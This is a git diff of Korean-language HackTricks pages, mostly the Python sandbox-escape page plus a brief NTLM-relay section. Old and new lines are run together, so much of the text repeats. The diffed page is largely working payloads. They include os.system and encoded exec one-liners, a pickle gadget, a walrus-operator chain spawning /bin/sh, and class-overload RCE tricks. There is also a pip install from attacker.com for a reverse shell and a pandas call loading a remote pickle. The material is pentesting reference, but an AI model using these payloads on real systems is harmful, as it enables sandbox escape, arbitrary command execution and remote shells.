**원격으로 NTLM 인증을 "강제"하는 여러 가지 방법**이 있습니다. 예를 들어 이메일이나 HTML에 **보이지 않는 이미지**를 추가하거나 사용자가 액세스할 것으로 예상되는 파일의 주소를 피해자에게 보내면 (심지어 HTTP MitM?) **폴더를 열기만으로도 인증을 유도**할 수 있습니다. 여러 가지 방법으로 **NTLM 인증을 "원격으로" 강제화**할 수 있습니다. 예를 들어, 사용자가 접근할 이메일이나 HTML에 **보이지 않는 이미지**를 추가하거나 (HTTP MitM도 가능할까요?) 피해자에게 **파일의 주소**를 보내 **폴더를 열기만 해도** **인증**이 **트리거**되도록 할 수 있습니다.
**다음 페이지에서 이러한 아이디어와 더 많은 내용을 확인하세요:** **다음 페이지에서 이러한 아이디어와 더 많은 내용을 확인하세요:**
@ -162,19 +167,22 @@ self.close
### NTLM 릴레이 ### NTLM 릴레이
해시나 인증 정보를 훔치는 것뿐만 아니라 **NTLM 릴레이 공격**도 수행할 수 있다는 것을 잊지 마세요: 해시나 인증을 훔치는 것뿐만 아니라 **NTLM 릴레이 공격을 수행**할 수 있다는 것을 잊지 마세요:
* [**NTLM 릴레이 공격**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) * [**NTLM 릴레이 공격**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
* [**AD CS ESC8 (인증서로 NTLM 릴레이)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) * [**AD CS ESC8 (NTLM 릴레이를 통한 인증서)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
{% hint style="success" %}
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
* **사이버 보안 회사에서 일하시나요**? **HackTricks에 귀사를 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요 * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 요령을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출**하세요.
</details> </details>
{% endhint %}

View file

@ -1,53 +1,55 @@
# Python Sandbox Escape & Pyscript # Python Sandbox Escape & Pyscript
{% hint style="success" %}
AWS 해킹을 배우고 연습하세요:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹을 배우고 연습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 지금 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
**확인할 흥미로운 페이지:** **확인할 흥미로운 페이지:**
* [**Pyscript 해킹 트릭**](pyscript.md) * [**Pyscript 해킹 트릭**](pyscript.md)
* [**Python 직렬화**](../../pentesting-web/deserialization/#python) * [**Python 직렬화**](../../pentesting-web/deserialization/#python)
* [**Python 샌드박스 우회 트릭**](bypass-python-sandboxes/) * [**Python 샌드박스 우회하는 트릭**](bypass-python-sandboxes/)
* [**기본 Python 웹 요청 구문**](web-requests.md) * [**기본 Python 웹 요청 구문**](web-requests.md)
* [**기본 Python 구문 및 라이브러리**](basic-python.md) * [**기본 Python 구문 및 라이브러리**](basic-python.md)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 지금 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
{% hint style="success" %}
AWS 해킹을 배우고 연습하세요:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹을 배우고 연습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Python 샌드박스 우회 # Bypass Python sandboxes
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,11 +23,11 @@ HackTricks를 지원하는 다른 방법:
*** ***
이것은 Python 샌드박스 보호를 우회하고 임의의 명령을 실행하는 몇 가지 트릭입니다. 이것은 파이썬 샌드박스 보호를 우회하고 임의의 명령을 실행하는 몇 가지 트릭입니다.
## 명령 실행 라이브러리 ## 명령 실행 라이브러리
알아야 할 첫 번째 것은 이미 가져온 라이브러리로 코드를 직접 실행할 수 있는지 여부이거나 이러한 라이브러리 중 하나를 가져올 수 있는지입니다: 가장 먼저 알아야 할 것은 이미 가져온 라이브러리로 코드를 직접 실행할 수 있는지, 아니면 이러한 라이브러리 중 하나를 가져올 수 있는지입니다:
```python ```python
os.system("ls") os.system("ls")
os.popen("ls").read() os.popen("ls").read()
@ -59,23 +60,23 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py') execfile('/usr/lib/python2.7/os.py')
system('ls') system('ls')
``` ```
_**open**_ 및 _**read**_ 함수가 유용할 수 있음을 기억하세요. 파이썬 샌드박스 내에서 **파일을 읽고** 샌드박스를 **우회**하는 데 **실행할 코드**를 **작성**하는 데 사용할 수 있습니다. 기억하세요, _**open**__**read**_ 함수는 python sandbox 내에서 **파일을 읽고** **우회**하기 위해 **실행할 수 있는 코드**를 **작성하는 데**용할 수 있습니다.
{% hint style="danger" %} {% hint style="danger" %}
**Python2 input()** 함수는 프로그램이 충돌하기 전에 파이썬 코드를 실행할 수 있습니다. **Python2 input()** 함수는 프로그램이 충돌하기 전에 python 코드를 실행할 수 있게 해줍니다.
{% endhint %} {% endhint %}
파이썬은 **현재 디렉토리에서 라이브러리를 먼저 로드**하려고 시도합니다 (다음 명령은 파이썬이 모듈을 로드하는 위치를 인쇄합니다): `python3 -c 'import sys; print(sys.path)'` Python은 **현재 디렉토리에서 라이브러리를 먼저 로드하려고 시도합니다** (다음 명령은 python이 모듈을 어디에서 로드하는지 출력합니다): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (559).png>) ![](<../../../.gitbook/assets/image (559).png>)
## 기본 설치된 파이썬 패키지를 사용하여 pickle 샌드박스 우회 ## 기본 설치된 python 패키지로 pickle sandbox 우회하기
### 기본 패키지 ### 기본 패키지
여기에서 **사전 설치된** 패키지 목록을 찾을 수 있습니다: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ 여기에서 **사전 설치된** 패키지 목록을 찾을 수 있습니다: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
pickle을 통해 시스템에 설치된 **임의의 라이브러리를 가져올 수 있습니다.**\ pickle을 통해 python 환경이 시스템에 설치된 **임의의 라이브러리를 가져올 수 있습니다**.\
예를 들어, 다음 pickle은 로드될 때 pip 라이브러리를 가져와 사용할 것입니다: 예를 들어, 다음 pickle은 로드될 때 pip 라이브러리를 가져오게 됩니다:
```python ```python
#Note that here we are importing the pip library so the pickle is created correctly #Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it #however, the victim doesn't even need to have the library installed to execute it
@ -88,32 +89,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0))) print(base64.b64encode(pickle.dumps(P(), protocol=0)))
``` ```
다음은 pickle 작동 방식에 대한 자세한 정보를 확인할 수 있는 링크입니다: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) 더 많은 정보는 pickle 작동 방식에 대해 다음을 확인하세요: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip 패키지 ### Pip 패키지
**@isHaacK**가 공유한 트릭 **@isHaacK**가 공유한 트릭
`pip` 또는 `pip.main()`액세스할 수 있는 경우 임의의 패키지를 설치하고 다음을 호출하여 역쉘을 획들할 수 있습니다: `pip` 또는 `pip.main()`접근할 수 있다면 임의의 패키지를 설치하고 다음을 호출하여 리버스 셸을 얻을 수 있습니다:
```bash ```bash
pip install http://attacker.com/Rerverse.tar.gz pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
``` ```
패키지를 다운로드하여 역쉘을 생성할 수 있습니다. 사용하기 전에 **압축을 풀고 `setup.py`를 변경하고 역쉘에 대한 IP를 입력해야 합니다**: 여기에서 리버스 셸을 생성하는 패키지를 다운로드할 수 있습니다. 사용하기 전에 **압축을 풀고, `setup.py`를 변경하고, 리버스 셸을 위한 IP를 입력해야 합니다**:
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %} {% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
{% hint style="info" %} {% hint style="info" %}
이 패키지는 `Reverse`라고 불립니다. 그러나 역쉘을 종료할 때 나머지 설치가 실패하도록 특별히 제작되었으므로, 서버에 **추가적인 파이썬 패키지가 설치되지 않도록** 합니다. 이 패키지는 `Reverse`라고 불립니다. 그러나 리버스 셸을 종료할 때 나머지 설치가 실패하도록 특별히 제작되었으므로, 떠날 때 **서버에 추가적인 파이썬 패키지가 설치되지 않게 됩니다**.
{% endhint %} {% endhint %}
## 파이썬 코드 평가하기 ## 파이썬 코드 실행
{% hint style="warning" %} {% hint style="warning" %}
exec는 여러 줄 문자열과 ";"을 허용하지만, eval은 그렇지 않습니다 (walrus 연산자 확인) exec는 여러 줄 문자열과 ";"를 허용하지만, eval은 허용하지 않습니다(월러스 연산자 확인).
{% endhint %} {% endhint %}
특정 문자가 금지된 경우 **16진수/8진수/B64** 표현을 사용하여 제한을 **우회**할 수 있습니다: 특정 문자가 금지된 경우 **hex/octal/B64** 표현을 사용하여 **우회**할 수 있습니다:
```python ```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -134,7 +135,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
``` ```
### Python 코드를 평가할 수 있게 해주는 다른 라이브러리들 ### 파이썬 코드를 eval할 수 있는 다른 라이브러리
```python ```python
#Pandas #Pandas
import pandas as pd import pandas as pd
@ -148,7 +149,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like: # Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
``` ```
## 연산자 및 단축 트릭 ## 연산자 및 짧은 트릭
```python ```python
# walrus operator allows generating variable inside a list # walrus operator allows generating variable inside a list
## everything will be executed in order ## everything will be executed in order
@ -157,9 +158,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
``` ```
## 인코딩을 통한 보호 기능 우회 (UTF-7) ## Bypassing protections through encodings (UTF-7)
[**이 설명서**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서 UFT-7은 표면적인 샌드박스 내에서 임의의 파이썬 코드를 로드하고 실행하는 데 사용됩니다. In [**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7은 겉보기에는 샌드박스 안에서 임의의 파이썬 코드를 로드하고 실행하는 데 사용됩니다:
```python ```python
assert b"+AAo-".decode("utf_7") == "\n" assert b"+AAo-".decode("utf_7") == "\n"
@ -170,13 +171,13 @@ return x
#+AAo-print(open("/flag.txt").read()) #+AAo-print(open("/flag.txt").read())
""".lstrip() """.lstrip()
``` ```
또한 다른 인코딩을 사용하여 이를 우회하는 것이 가능합니다. 예를 들어 `raw_unicode_escape``unicode_escape`와 같은 방법이 있습니다. 다른 인코딩을 사용하여 우회하는 것도 가능합니다. 예: `raw_unicode_escape``unicode_escape`.
## 호출 없이 Python 실행 ## 호출 없이 Python 실행
**호출을 할 수 없는** Python 감옥 안에 있다면, 여전히 **임의의 함수, 코드** 및 **명령어를 실행**할 수 있는 몇 가지 방법이 있습니다. 호출을 할 수 없는 **파이썬 감옥** 안에 있다면, 여전히 **임의의 함수, 코드** 및 **명령**을 **실행**할 수 있는 방법이 몇 가지 있습니다.
### [데코레이터](https://docs.python.org/3/glossary.html#term-decorator)를 용한 RCE ### [데코레이터](https://docs.python.org/3/glossary.html#term-decorator)를 용한 RCE
```python ```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec @exec
@ -200,11 +201,11 @@ class _:pass
``` ```
### RCE 객체 생성 및 오버로딩 ### RCE 객체 생성 및 오버로딩
만약 **클래스를 선언**하고 **해당 클래스의 객체를 생성**할 수 있다면, **다른 메소드를 작성/덮어쓸** 수 있어서 **직접 호출하지 않고도 트리거**될 수 있습니다. 클래스를 **선언**하고 해당 클래스의 **객체를 생성**할 수 있다면, **직접 호출할 필요 없이** **트리거**될 수 있는 **다양한 메서드**를 **작성/오버라이드**할 수 있습니다.
#### 사용자 정의 클래스를 통한 RCE #### 사용자 정의 클래스를 통한 RCE
일부 **클래스 메소드**를 수정하여 (기존 클래스 메소드를 덮어쓰거나 새 클래스를 생성하여) **직접 호출하지 않고도 트리거**될 때 **임의의 코드를 실행**할 수 있습니다. 일부 **클래스 메서드**를 (기존 클래스 메서드를 오버라이드하거나 새로운 클래스를 생성하여) 수정하여 **직접 호출하지 않고도** **트리거**될 때 **임의의 코드를 실행**하도록 만들 수 있습니다.
```python ```python
# This class has 3 different ways to trigger RCE without directly calling any function # This class has 3 different ways to trigger RCE without directly calling any function
class RCE: class RCE:
@ -254,9 +255,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")')
``` ```
#### [메타클래스](https://docs.python.org/3/reference/datamodel.html#metaclasses)를 사용하여 객체 생성하기 #### [메타클래스](https://docs.python.org/3/reference/datamodel.html#metaclasses) 객체 생성하기
메타클래스가 허용하는 주요 기능은 **생성자를 직접 호출하지 않고 대상 클래스를 메타클래스로 사용하여 새 클래스를 생성함으로써 클래스의 인스턴스를 만드는 것**입니다. 메타클래스가 허용하는 주요 기능은 **생성자를 직접 호출하지 않고 클래스의 인스턴스를 만드는 것**으로, 대상 클래스를 메타클래스로 사용하여 새로운 클래스를 생성하는 것입니다.
```python ```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass" # This will define the members of the "subclass"
@ -271,9 +272,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object ## You can also use the tricks from the previous section to get RCE with this object
``` ```
#### 예외를 사용하여 객체 생성 #### 예외로 객체 생성하기
**예외가 트리거되면** **Exception**의 객체가 **직접 생성되어** 생성자를 호출할 필요가 없습니다 ([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)의 속임수): **예외가 발생할 때** **Exception**의 객체가 **직접 생성자를 호출할 필요 없이** **생성됩니다** ( [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez) 의 트릭):
```python ```python
class RCE(Exception): class RCE(Exception):
def __init__(self): def __init__(self):
@ -315,7 +316,7 @@ __iadd__ = eval
__builtins__.__import__ = X __builtins__.__import__ = X
{}[1337] {}[1337]
``` ```
### 내장 도움말 및 라이선스로 파일 읽기 ### 내장 함수 도움말 및 라이센스 파일 읽기
```python ```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"] __builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help a = __builtins__.help
@ -324,22 +325,22 @@ a.__class__.__exit__ = lambda self, *args: None
with (a as b): with (a as b):
pass pass
``` ```
## 내장 함수 ## Builtins
* [**파이썬2의 내장 함수**](https://docs.python.org/2/library/functions.html) * [**파이썬2의 내장 함수**](https://docs.python.org/2/library/functions.html)
* [**파이썬3의 내장 함수**](https://docs.python.org/3/library/functions.html) * [**파이썬3의 내장 함수**](https://docs.python.org/3/library/functions.html)
만약 **`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 가져올 수 있습니다 (마지막 섹션에 표시된 다른 문자열 표현을 여기에 사용할 수도 있음에 유의하세요): **`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 임포트할 수 있습니다 (마지막 섹션에서 보여준 다른 문자열 표현도 사용할 수 있습니다):
```python ```python
__builtins__.__import__("os").system("ls") __builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls")
``` ```
### 내장 함수 없음 ### No Builtins
`__builtins__`가 없는 경우에는 **모든 전역 함수** (예: `open`, `import`, `print`...)가 **로드되지 않기** 때문에 아무 것도 가져오거나 파일을 읽거나 쓸 수 없습니다.\ `__builtins__`가 없으면 아무것도 가져올 수 없고 파일을 읽거나 쓸 수도 없습니다. **모든 전역 함수**(예: `open`, `import`, `print`...) **가 로드되지 않기 때문입니다.**\
그러나 **기본적으로 파이썬은 많은 모듈을 메모리에 가져옵니다**.러한 모듈은 무해해 보일 수 있지만, 그 중 일부는 **위험한** 기능을 내부에 **가져와서** 심지어 **임의의 코드 실행**을 얻을 수 있습니다. 그러나 **기본적으로 파이썬은 많은 모듈을 메모리에 가져옵니다.** 이 모듈은 무해해 보일 수 있지만, 그 중 일부는 **위험한** 기능을 내부에 가져오고 있어 이를 통해 **임의 코드 실행**을 얻을 수 있습니다.
다음 예제에서는 이러한 "**무해한**" 모듈 중 일부를 **남용**하여 내부에 있는 **위험한** **기능**에 **액세스**하는 방법을 살펴볼 수 있습니다. 다음 예제에서는 **이용**할 수 있는 **"무해한"** 모듈을 어떻게 **악용**하여 **위험한** **기능**에 **접근**할 수 있는지를 관찰할 수 있습니다.
**Python2** **Python2**
```python ```python
@ -381,7 +382,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes # Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
``` ```
[**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) **내장 함수**를 찾을 수 있는 **수십**/**수백 곳**을 찾을 수 있는 함수가 있습니다. [**아래에는 더 큰 함수가 있습니다**](./#recursive-search-of-builtins-globals) 수십/**수백** 개의 **위치**에서 **builtins**을 찾을 수 있습니다.
#### Python2 및 Python3 #### Python2 및 Python3
```python ```python
@ -397,9 +398,9 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands # There are lots of other payloads that can be abused to execute commands
# See them below # See them below
``` ```
## 전역 및 지역 변수 ## Globals and locals
